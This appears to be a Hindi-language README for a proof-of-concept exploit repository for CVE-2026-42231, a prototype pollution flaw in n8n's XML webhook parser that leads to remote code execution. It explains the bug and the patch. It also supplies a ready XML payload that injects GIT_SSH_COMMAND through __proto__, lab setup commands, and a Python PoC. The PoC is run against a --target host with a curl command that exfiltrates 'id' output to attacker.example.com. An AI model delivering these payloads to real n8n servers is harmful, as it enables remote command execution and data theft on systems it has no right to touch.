
# CVE-2026-42231 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट n8n XML वेबहुक में एक गंभीर प्रोटोटाइप प्रदूषण भेद्यता, जो रिमोट कोड निष्पादन की ओर ले जाती है। इसमें Docker लैब, Python PoC, और Node.js वेरिफायर शामिल हैं।
CVE: CVE-2026-42231
गंभीरता: क्रिटिकल (CVSS 10.0)
प्रभावित: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
समाधान: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts एक मॉड्यूल-स्तरीय
सिंगलटन xml2js पार्सर बनाता है बिना tagNameProcessors या
attrNameProcessors के। यह एक हमलावर को एक XML वेबहुक बॉडी भेजने की अनुमति देता है
जिसमें एक <__proto__> तत्व होता है।
xml2js 0.6.2 पार्स किए गए ऑब्जेक्ट्स पर तत्व कुंजियाँ सेट करने के लिए
डेटा डिस्क्रिप्टर के साथ Object.defineProperty का उपयोग करता है। क्योंकि '__proto__' in obj हमेशा
true होता है, assignOrPush() मान को एक सरणी में लपेटता है और इसे एक
स्वयं की गणनीय डेटा प्रॉपर्टी के रूप में संग्रहीत करता है — जो [[Set]] एक्सेसर को बायपास करता है जो
सामान्य रूप से प्रोटोटाइप श्रृंखला को सुरक्षित रूप से अपडेट करेगा।
स्वयं की __proto__ प्रॉपर्टी JSON.stringify (जो n8n द्वारा निष्पादित की जाती है जब
निष्पादन डेटा SQLite/PostgreSQL में संग्रहीत किया जाता है) से बच जाती है, और पुनः लोड पर JSON.parse के बाद
एक बाद का Object.assign(target, reloadedBody) target के प्रोटोटाइप को
हमलावर-नियंत्रित ऑब्जेक्ट पर पुनर्निर्देशित करता है।
उन वर्कफ़्लोज़ में जिनमें एक Git नोड भी होता है जो SSH ऑपरेशन करता है,
प्रदूषित प्रोटोटाइप simple-git के createInstanceConfig को एक spawnOptions / GIT_SSH_COMMAND मान
उजागर करता है, जिससे OS-स्तरीय कमांड निष्पादन संभव होता है।
// packages/cli/src/middlewares/body-parser.ts (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // lowercases tags — but does NOT block __proto__
explicitArray: false,
// ← NO tagNameProcessors
// ← NO attrNameProcessors
});
समाधान (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. हमलावर एक सार्वजनिक वेबहुक ट्रिगर पर XML POST भेजता है:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. xml2js बॉडी पार्सर req.body.root बनाता है जहाँ '__proto__' एक
स्वयं की गणनीय डेटा प्रॉपर्टी है:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. n8n का deepCopy() for...in + hasOwnProp के माध्यम से स्वयं की कुंजियों को
पुनरावृत्त करता है। असाइनमेंट clone['__proto__'] = deepCopy(attackerArray)
[[Set]] एक्सेसर के माध्यम से चुपचाप clone के प्रोटोटाइप को बदल देता है।
4. n8n निष्पादन डेटा को DB में क्रमबद्ध करता है:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
__proto__ कुंजी शामिल है क्योंकि यह स्वयं की और गणनीय है।
SQLite में execution_data तालिका में पुष्टि की गई।
5. पुनः लोड पर, JSON.parse '__proto__' को एक स्वयं की डेटा प्रॉपर्टी के रूप में
पुनः बनाता है (सादा ऑब्जेक्ट, कोई सरणी लपेटन नहीं)।
Object.assign(gitOptions, reloadedBody)
gitOptions के प्रोटोटाइप को हमलावर-नियंत्रित ऑब्जेक्ट पर पुनर्निर्देशित करता है।
6. जब Git नोड simpleGit(gitOptions) को कॉल करता है:
createInstanceConfig(gitOptions)
प्रोटोटाइप श्रृंखला के माध्यम से config.spawnOptions पढ़ता है → सत्य →
spawnOptionsPlugin पंजीकृत होता है।
env ऑब्जेक्ट में GIT_SSH_COMMAND के साथ, git अगले SSH ऑपरेशन पर
हमलावर के कमांड को निष्पादित करता है।
normalizeTags पर ध्यान देंnormalizeTags: true सभी XML टैग नामों को लोअरकेस करता है, इसलिए चाइल्ड तत्व
जैसे <GIT_SSH_COMMAND> पार्स किए गए ऑब्जेक्ट में git_ssh_command बन जाते हैं।
पर्यावरण चर नामों के लिए केस संरक्षित करने हेतु, XML विशेषताओं का उपयोग करें
(विशेषता नाम normalizeTags द्वारा सामान्यीकृत नहीं होते हैं):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
यह n8nio/n8n:1.123.22 (अंतिम प्रभावित रिलीज़) खींचता है, हमलावर
छवि बनाता है, http://localhost:5678 पर भेद्य लक्ष्य शुरू करता है,
स्वचालित रूप से एक वेबहुक वर्कफ़्लो बनाता और सक्रिय करता है, और
वेबहुक URL को .webhook_state में सहेजता है।
./exploit.sh setup
अपेक्षित आउटपुट (संक्षिप्त):
[*] Pulling vulnerable n8n image (1.123.22) ...
[*] Building attacker image ...
[*] Starting vulnerable n8n target ...
[*] Waiting for n8n to become healthy ...
[*] Creating webhook workflow (Webhook → Code node) ...
[+] Lab is ready.
Run: ./exploit.sh demo # verify the pollution primitive
./exploit.sh exploit # deliver all three RCE payloads
./exploit.sh demo
PoC एक सत्यापन पेलोड भेजता है और n8n वर्कफ़्लो से पार्स की गई बॉडी को वापस प्रतिध्वनित दिखाता है। एक भेद्य इंस्टेंस लौटाता है:
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# या एक कस्टम कमांड के साथ:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
तीन पूरक पेलोड वितरित किए जाते हैं:
| पेलोड | तकनीक |
|---|---|
| A | <__proto__> टैग — XML विशेषता के रूप में GIT_SSH_COMMAND |
| B | <constructor><prototype> श्रृंखला |
| C | env विशेषताओं के साथ नेस्टेड <__proto__> |
GIT_SSH_COMMAND का आउटपुट शामिल होगा।"step4_objectAssignPolluted": true शामिल होगा।pip install -r requirements.txt
# केवल सत्यापन — Git नोड की आवश्यकता नहीं:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--demo
# पूर्ण शोषण — Webhook + Git/SSH नोड वर्कफ़्लो की आवश्यकता है:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--cmd 'curl http://attacker.example.com/$(id|base64)'
कुछ परिनियोजनों में n8n वेबहुक को
/webhook/<workflowId>/webhook/<path> के रूप में पंजीकृत करता है। यदि लघु रूप
/webhook/<path> 404 लौटाता है, तो वर्कफ़्लो-ID उपसर्ग को --target के रूप में पास करें: